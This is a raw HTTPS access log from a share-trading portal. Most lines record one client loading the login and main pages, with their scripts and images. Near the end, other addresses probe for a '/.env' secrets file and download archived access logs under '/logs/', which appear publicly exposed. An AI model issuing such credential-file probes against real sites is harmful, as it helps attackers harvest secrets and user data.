[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/dialog.html?1767949806965 HTTP/1.1" 3027
[09/Jan/2026:17:05:37 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/main.html?language=en&version=HTML HTTP/1.1" 3386
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style_common.css?v=20200819161913 HTTP/1.1" 2539
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161913 HTTP/1.1" 940
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161913 HTTP/1.1" 1372
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161913 HTTP/1.1" 1781
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/translation.js?jsv=20200819161913 HTTP/1.1" 12195
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161913 HTTP/1.1" 1575
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161913 HTTP/1.1" 856
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161913 HTTP/1.1" 30725
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161913 HTTP/1.1" 1567
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161913 HTTP/1.1" 2300
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161913 HTTP/1.1" 2482
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161913 HTTP/1.1" 1564
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161913 HTTP/1.1" 2656
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161913 HTTP/1.1" 908
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161913 HTTP/1.1" 487
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161913 HTTP/1.1" 5726
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161913 HTTP/1.1" 2712
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161913 HTTP/1.1" 1364
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161913 HTTP/1.1" 2178
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161913 HTTP/1.1" 562
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161913 HTTP/1.1" 6874
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161913 HTTP/1.1" 146
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161913 HTTP/1.1" 29
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161913 HTTP/1.1" 199
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161913 HTTP/1.1" 4816
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161913 HTTP/1.1" 27
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161913 HTTP/1.1" 980
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161913 HTTP/1.1" 418
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/top_menu04.jpg HTTP/1.1" 3424
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/top_menu01.jpg HTTP/1.1" 3589
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/top_menu_logout.jpg HTTP/1.1" 2939
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/dialog.html?1767949814098 HTTP/1.1" 3027
[09/Jan/2026:17:05:44 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/login.html HTTP/1.1" 1620
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style_common.css?v=20200819161913 HTTP/1.1" 2539
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/translation.js?jsv=20200819161913 HTTP/1.1" 12195
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/dialog.html?1767949816880 HTTP/1.1" 3027
[09/Jan/2026:17:05:47 +0800] 119.246.22.97 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:17:08:11 +0800] 47.128.119.82 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250725 HTTP/1.1" 9963085
[09/Jan/2026:17:16:08 +0800] 185.12.59.118 - - "GET / HTTP/1.0" 362
[09/Jan/2026:17:26:09 +0800] 198.235.24.170 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:17:33:04 +0800] 45.144.212.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:17:39:55 +0800] 112.206.67.174 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/risk_disclosure.html HTTP/1.1" 5095
[09/Jan/2026:17:42:42 +0800] 40.77.167.158 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250918 HTTP/1.1" 10133579
